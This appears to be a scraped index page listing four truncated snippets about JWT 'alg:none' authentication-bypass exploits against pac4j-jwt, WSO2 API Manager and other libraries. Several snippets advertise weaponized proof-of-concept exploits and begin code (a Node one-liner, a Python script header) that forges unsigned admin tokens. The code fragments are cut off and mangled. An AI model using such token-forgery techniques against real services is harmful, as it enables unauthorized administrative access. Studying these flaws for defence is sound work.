CVE-2026-29000-PoC-Exploit

CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit CVE-2026-29000 - One-Click Admin Forge via JWT alg:none + JWE Encryption Overview This exploit weaponizes CVE-2026-29000 , a critical CVSS 10.0 vulnerability in the pac4j-jwt library. By extracting the server's public JWKS key and forging a...

CVE-2025-9485

Exploit: Authentication Bypass via Unsigned JWT alg: none 1 Forge an unsigned JWT claiming the admin email TOKEN=$node -e ' function b64us return Buffer.froms.toString"base64" .replace/+/g,"-" .replace///g,"" .replace/=+$/,"" const header = b64uJSON.stringify alg: "none", typ: "JWT" ; const now =...

WSO2 CVE-2026-5430 JWT alg:none admin bypass

CVE-2026-5430: forged alg:none JWT in X-JWT-Assertion grants access to WSO2 admin REST APIs applications, subscription keys. Confirmation / credential access — not arbitrary OS RCE. !/usr/bin/env python3 -- coding: utf-8 -- """WSO2 API Manager CVE-2026-5430 JWT alg:none admin API bypass.""" impor...

PT-2026-6395

Summary An authentication bypass vulnerability allows any unauthenticated attacker to forge arbitrary JWT tokens by setting "alg": "none" in the token header. The library's verification functions immediately return true for such tokens without performing any cryptographic verification, enabling...